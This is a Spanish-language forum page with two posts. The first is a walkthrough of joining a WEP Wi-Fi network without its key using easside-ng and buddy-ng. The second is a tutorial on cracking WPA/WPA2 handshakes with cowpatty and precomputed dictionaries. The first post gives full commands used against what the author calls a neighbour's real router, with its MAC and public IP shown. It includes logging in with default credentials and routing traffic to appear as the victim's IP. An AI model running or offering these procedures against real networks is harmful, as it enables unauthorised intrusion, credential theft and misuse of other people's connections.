Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - kikerap

#1
COMO ACCEDER A UNA RED INALAMBRICA SIN CONOCER LA CLAVE WEP



Ya sabemos que son muy vulnerables, que el cifrado WEP tiene muchas debilidades y que al día de hoy con pocos minutos tenemos la clave de cifrado.... No?



Bueno, esto es diferente, esto es algo que no necesita ni dos minutos para llevar con éxito el ataque... y como "novedad"  es que no es un crack de la clave WEP, sencillamente nos podremos conectar a una red inalámbrica con ese tipo de cifrado SIN CONOCER LA CLAVE!!!!


Para todo este tinglado vamos a usar dos herramientas que se incluyen en la suite de aircrack-ng (al menos en la última versión) son easside-ng y buddy-ng


En este post sólo nos van a interesar: easside-ng, buddy-ng

(En cuanto a tkiptun-ng, ya os pondré un enlace con el código "retocado" para que funcione correctamente el ataque a las WPA, al menos a mi me funciona correctamente, pero eso será para otro post)

En fin, vamos a contar qué hacen estas "dos cosas" y luego preparamos el escenario de ejemplo...

Easside-ng es una herramienta "auto-mágica" que nos va a permitir comunicarnos con un punto de acceso sin necesidad de conocer la clave WEP.

Esta "proeza" la realiza sin intervención alguna por nuestra parte, vamos con poco mas que la sintaxis apropiada y nada mas...

El funcionamiento de easside-ng es el siguiente:
    •   Primero: identifica una red wireless,
    •   Segundo: procede a asociarse con ella
    •   Tercero: obtiene el PRGA (del inglés "pseudo random generation algorithm")
    •   Cuarto:  determina el rango de IPs de la red
    •   Quinto: crea una interface TAP para poder comunicarse con el AP sin necesidad de conoCer la clave WEP.
Chulo verdad??

En fin, para conseguirlo necesita que el punto de acceso víctima des-encripte los paquetes por sí mismo y que luego nos los envíe a nuestro sistema, aquí es donde entra en juego buddy-ng.

Buddy se encargará de redirigir los paquetes descifrados al equipo que corre easside-ng y entonces ya podremos participar de la red con cifrado WEP sin mas, no sabemos la contraseña, pero estamos dentro.

Se han de reunir unas pocas condiciones para que esto funcione:

    •   El punto de acceso víctima debe ser capaz de comunicarse con Internet. Vamos, lo mas habitual  en los routers inalámbricos de casa....
    •   Debe existir un servidor buddy accesible desde Internet, de otra forma el punto de acceso víctima no podría conectarse al mismo...
    •   El servidor buddy utiliza los puertos 6969 de TCP y UDP por tanto hay que dejar pasar el tráfico en el firewall si es que existe,,,
    •   El sistema que ejecuta easside-ng también ha de tener acceso a Internet y ser capaz de comunicarse con buddy.
Lo mejor sería disponer de dos máquinas, una con el Server buddy y otra diferente con easside, pero como imagino que eso no será posible en muchos casos, en este ejemplo usaremos buddy y easside en la misma máquina del atacante...

Antes de comenzar el "asalto" y como me gusta hacerme de rogar y explicar bien las cosas, vamos a entender cómo funcionará este invento:

El tipo de ataque es similar al que realiza aireplay-ng por fragmentación, de hecho se basa en eso mismo, mas o menos así:
    •   Se busca (o se indica por linea de comandos) el canal para que encuentre un red con clave WEP
    •   Una vez encontrado, se autentica.
    •   Cuando se ha autenticado intenta asociarse con el punto de acceso
    •   Esnifa un paquete de datos,
    •   Procede a descubrir al menos 1504 bytes de PRGA enviando "broadcasts" más grandes e interceptando los paquetes de respuesta (esto es el ataque de fragmentación)
    •   El resultado se guarda en un archivo llamado: prga.log.
    •   Se averigua la dirección IP de la red usando una técnica llamada "linear keystream expansion".
    •   Crea una conexión TCP  permanente por el puerto 6969 con el servidor "buddy" y verifica la conectividad.
    •   Envia ARP's para obtener la dirección MAC del punto de acceso y la IP de origen.
    •   Por defecto se usa .1 para el router y .123 para el cliente IP.
    •   Entonces prueba la conexión con el punto de acceso y determina el rango de direcciones IP que usa.
    •   Lista el tiempo que se tarda en obtener los paquetes de prueba esto nos dará una idea de la calidad de la conexión.
    •   Se crea una interface TAP. Esto es una interface virtual que actuará como si se tratase de una tarjeta inalámbrica en la cual y si lo deseamos, podremos configurarla como si se tratase de una interface wifi "real"
Por hacer una analogía sencilla, podríamos decir que es como un ataque del tipo MiTM de tal forma que se "interpone" un "amigo" (el servidor buddy) , algo así:

    •   Easside-ng esnifa los paquetes en la red wifi y comprueba que están cifrados.
    •   Supongamos que el paquete va dirigido a google o a Hotmail o a cualquier sitio de Internet, por tanto, este paquete viaja bajo protocolo http puesto que Internet no usa WEP, dicho de otro modo, el punto de acceso debe descifrar el paquete antes de enviarlo a Internet.
    •   Lo que realmente se hace es retransmitir ese paquete y en lugar de enviarlo a su destino se lo enviará a nuestro servidor buddy en Internet.
    •   El servidor buddy  obtendrá ese paquete sin cifrado wep (recuerda que el punto de acceso ya lo densencriptó) y lo enviará de vuelta a nosotros.
Bueno, ciertamente no es el mismo el flujo de datos del tráfico saliente que el del entrante, pero no voy a enrollarme mas... imagino que como muchos de vosotros lo querréis probar, ya iremos aumentando el contenido teórico del ejercicio, por el momento nos vale con eso de que el servidor buddy se comportará como una máquina "en medio" de la red inalámbrica protegida por WEP.

Ahora vamos a "pintar" el escenario...

El atacante:

•   Un router con salida a Internet y con los puertos 6969 de TCP y UDP abiertos y dirigidos hacia el equipo del atacante. EL rango de red que uso es 172.28.0.0/24 de forma que el router es la 172.28.0.1 y la ip de la máquina atacante es 172.28.0.101/24



•   La dirección IP pública del servidor buddy (que a la postre es la misma que la del router es: 88.27.187.80 (esto es importante puesto que mas adelante hay que indicarlo cunado usemos easside-ng



•   Un pc-atacante con dirección IP 172.28.0.101 en el que correremos buddy-ng y easside-ng, se trata de un Linux con una live CD de Backtrack y con la versión de aircrack-ng compilada como indicamos al inicio (make ustable=true).

Lo ideal serían dos máquinas, como ya dijimos, ya veremos luego qué pasa con la tabla de rutas de la máquina atacante...y no sólo por eso, también por el rendimiento del equipo y de sus interfaces...

Veamos cómo está ese "atacante":

La interface ethernet (eth0) que será donde estará escuchando buddy-ng




Interface eth1 (la inalámbrica) por la que inyectaremos el tráfico con easside-ng




Primero, vamos a poner en modo monitor la tarjeta wifi:



Ahora vamos a lanzar en una shell airodump-ng para observar que tenemos al alcance, la orden ha sido:

airodump-ng -i eth1 -w test --encrypt wep -a



Vemos que la red correspondiente con WLAN_78 tiene tráfico activo... así que vamos a fijar mas el objetivo... paramos airodump y lanzamos de nuevo este:

./airodump-ng -i eth1 -w test --encrypt wep -a -c 3 --bssid 00:1A:2B:15:73:D5



Ok, ahora si que observamos mejor el tráfico de esa red... si quieres puedes dejar corriendo airodump, o lo paras, de hecho ya no lo necesitamos mas.

En otra shell, lanzamos buddy... esto no tiene mucho misterio.. sencillamente ejecutamos ./buddy-ng y veremos que se queda esperando la conexión...



Ahora, en otra nueva shell  ejecutamos easside-ng, de esta forma:

easside-ng -v 00:1A:2B:15:73:D5 -s 88.27.187.80 -f eth1 -c 3

-v es la MAC del Punto de acceso víctima tal como vimos en la salida de airodump

-s es la IP del servidor buddy, como todo está corriendo en el equipo del atacante, pues será la IP PÚBLICA!!! Del router del atacante.

-f es la interface inalámbrica en la que corre easside en el atacante, en nuestro caso eth1

-c 3 es el canal por el que emite el punto de acceso víctima (ver airodump)

Aparecerá algo así...

                           
Y tras unos segundos, algo similar a esto otro:



En la pantalla anterior vemos muchas cosas interesantes....
    •   IP local del punto de acceso víctima (192.168.1.1)
    •   IP local asignada por la herramienta easside-ng (192.168.1.123)
    •   IP del servidor buddy (88.27.187.80) esto ya lo sabíamos... es la nuestra
    •   IP Pública del punto de acceso/router víctima: 80.31.68.212
No está mal... Si echamos un vistazo a lo que ocurre en la shell en la que escucha buddy deberíamos ver que la conexión se estableció con éxito:



Es el momento de usar la interface TAP de la que hablamos antes...

modprobe tun
ifconfig at0 up







Ahora, por esa interface ya podemos acceder a la red 192.168.1.0/24 que es la de nuestra víctima, si observamos la tabla de rutas en el equipo del atacante:





Está claro... para ir a 192.168.1.0 se va por at0


Probando... navegamos a la ip 192.168.1.1 (el router víctima) y zas!!! La pantallita de autenticación, probamos las "de costumbre" y ale:





Y la clave....






Bueno... debería haber "difuminado" las mac's, la redes, los essid, etc... me olvidé... así que si te sientes "identificado", enhorabuena!!! Somos vecinos


Como vimos antes en la tabla de rutas, para ir "hacia cualquier red" en este ejemplo nos vamos por la 172.28.0.1 que es el router del atacante... vamos que si queremos usar la conexión Wifi "saboteada" para conectarnos a Internet no podemos porque tenemos el Server buddy y easside en la misma máquina, por ejemplo, vamos a cualesmiip.com y veremos que estamos en Internet con nuestra IP.





Si por el contrario hubiésemos puesto el Server budy en otra máquina en algún punto de Internet... veríamos que al navegar a la misma web salimos con la IP pública de la víctima:






En fin, esto es todo.... Que lo disfruten...


Ahhh!!!! Que me olvidaba....


En el directorio donde se haya ejecutado easside se crea un archivo que se llama prga.log, si os decidís por lanzar el ataque a otro nuevo punto de acceso hay que eliminar ese archivo o fallaréis.


Ahora Sí... Byes.

CitarCita de Vic_Thor
A ver, el truquillo para salir a internet con la IP pública del router víctima (puesto que partimos del hecho que todo corre en la máquina del atacante) sería como este (hay otras formas, pero con la tabla de enrutamiento es sencillo y práctico)


Por un lado tenemos al server buddy escuchando en la dirección: 88.27.187.80 que es la nuestra (la del atacante)



Por otro lado tenemos que para salir a internet, segun la tabla de enrutamiento del equipo atacante dice que se va por la 172.28.0.1 que es la ip local del atacante y por ende andaremos por inet con nuestra ip pública.


Y por último, sabemos que la IP pública de la víctima es la 80.31.68.212 y su ip local la 192.168.1.1


Bien, primero crearemos rutas estáticas para acceder a las ip's públicas de la víctima y atacante:


route add -host 80.31.68.212 gw 172.28.0.1
route add -host 88.27.187.80 gw 172.28.0.1


Con esto nos aseguramos la conectividad entre el servidor buddy y easside

Ahora eliminamos la ruta por defecto que existía:

route del 0.0.0.0 netmask 0.0.0.0 gw 172.28.0.1

Y para finalizar creamos la nueva ruta por defecto, explicándole que para ir al resto del mundo se ha de hacer por at0 o por la ip 192.168.1.1

route add default gw 192.168.1.1

Y ya está, salimos a internet con la ip pública del punto de aceso/router víctima

En ocasiones, hay "problemas" con las rutas añadidas para host, depende de las conexiones, si eso no te funciona bien puedes probar a sustituir este código:

route add -host 80.31.68.212 gw 172.28.0.1
route add -host 88.27.187.80 gw 172.28.0.1


Por este otro:

route add -net 80.31.68.0 netmask 255.255.255.0 gw 172.28.0.1
route add -net 88.27.187.0 netmask 255.255.255.0 gw 172.28.0.1




La desventaja es que habrá 510 ip's públicas a las que accederemos con nuestra ip, también puedes afinar mas con máscaras del tipo /30 si acaso no va lo del host... en fin, como ejemplo sirve.
#2
COWPATTY


Ya hace tiempo que he visto por ahi esta herramienta para auditorias wpa/wpa2. Lo que hace este programa es optimizar el ataque de diccionario. Para que funcione hace falta el handshake completo (four-way handshake), cosa que no conseguiremos a menudo, a no ser que inatalen un parche que permita hacer el ataque a uno incompleto, como hace aircrack-ng.



Comenzemos por descargar cowpatty, desde aqui:



http://wirelessdefence.org/Contents/Files/cowpatty-4.6.tgz



Y aqui esta el parche (existe la version 16, pero esta es mas estable):



http://proton.cygnusx-1.org/~edgan/cowpatty/cowpatty-4.6-fixup14.patch



Vamos a comenzar con la practica:





$ sudo apt-get install openssl #Instalamos las dependencias necesarias.

$ sudo apt-get install libpcap0.8-dev

$ sudo apt-get install libssl-dev

$ tar zxvf cowpatty-4.6.tgz #Descomprimimos el archivo previamente descargado.

$ mv cowpatty-4.6-fixup14.patch cowpatty-4.6 #Movemos el parche a la carpeta extraida.

$ cd cowpatty-4.6/ #Nos movemos a dicha carpeta.

$ patch < cowpatty-4.6-fixup14.patch #Aplicamos el parche.

$ sudo make install #Instalamos la aplicación.







Tambien se instalara genpmk, para crear diccionarios precomputados.







Para las pruebas he tenido que buscar por la red (en aircrack-ng.org) una captura de un handshake, ya que en ese momento no disponia de uno propio. Ya solo me falta el diccionario, en el que pondre cuidadosamente la contraseña correcta. Para esta labor "tire" de StrinGenerator, y en medio segundo ya me habra creado unas 300.000 claves. ¿Y por que lo cortas tan rapido?, pues como he dicho anteriormente ahora tengo que poner la contraseña correcta al final, y el "gedit" aguanta, pero hasta un punto.







Ahora voy a proceder a probar el ataque con aircrack-ng para asegurar que lo encuentra, y asi comparo las velocidades de cada herramienta. Vamos a empezar con el primer handshake cuya contraseña es Password1.



Prueba con aircrack-ng:



sudo aircrack-ng -w prueba.txt prueba.cap







Es muy importante revisar la temperatura de vez en cuando:







Bien ahora vamos con cowpatty, para esta prueba vamos a utilizar el segundo handshake cuya contraseña es preinstall, ademas he bajado considerablemente el tamaño del diccionario:



Prueba con cowpatty+diccionario:



cowpatty -r prueba2.cap -f prueba.txt -s virgin\ broadband







Y ahora vamos ha ver el verdadero poder de cowpatty, vamos a crear un diccionario precomputado, para esto nececitamos el essid de la red y el diccionario (esta vez si voy a usar el de 300.000 palabras). Tarda bastante a generarlo.



Creando diccionario precomputado para el essid "virgin broadband".



genpmk -f prueba.txt -d salida_precom -s virgin\ broadband







Ahora probamos el handshake junto con el nuevo diccionario precomputado.



cowpatty -r prueba2.cap -d salida_precom -s virgin\ broadband







Bien, pues vamos ha hacer el estudio, de cada herramienta. La velocidad de crackeo varía segun el hardware:



*Aircrack-ng: Velocidad--> unas 1.200 claves por segundo. Es sin duda el mas fiable de todos, ya que no es tan escrupuloso con el handshake, y permite que este sea imcompleto. La velocidad en ataque con diccionario es mayor que en cowpatty, al utilizar el 100% del procesador.

*Cowpatty+diccionario: Velocidad--> unas 150 claves por segundo. Como hemos dicho anteriormente, requiere de la instalacción de un parche para trabajar con handshake incompletos. Ademas de esta forma tendremos muchas incompatibilidades con determinados handshake, por lo que el programa parcheado no es muy fiable. Va mucho mas lento que aircrack-ng, pero solo utiliza el 50% del procesador.

*Cowpatty+diccionario precomputado: Velocidad--> unas 100.000 claves por segundo. Como veis la velocidad es enorme, pero tambien es verdad que tarda bastante a generar el diccionario precom. (unas 150 claves por segundo). Aunque una vez generado nos puede servir para ataques en otras redes con el mismo essid.





Lo ideal es tener el handshake completo, y si nos podemos descargar diccionarios ya precomputados pues mucho mejor, pero fijate que esta generado para tu essid, si no no valdra, ok.







Os dejo un enlace a una recopilación de diccionarios: http://foro.seguridadwireless.net/enlaces-descarga-aplicaciones-wireless-linux/diccionarios-wordlist-listas-de-palabras/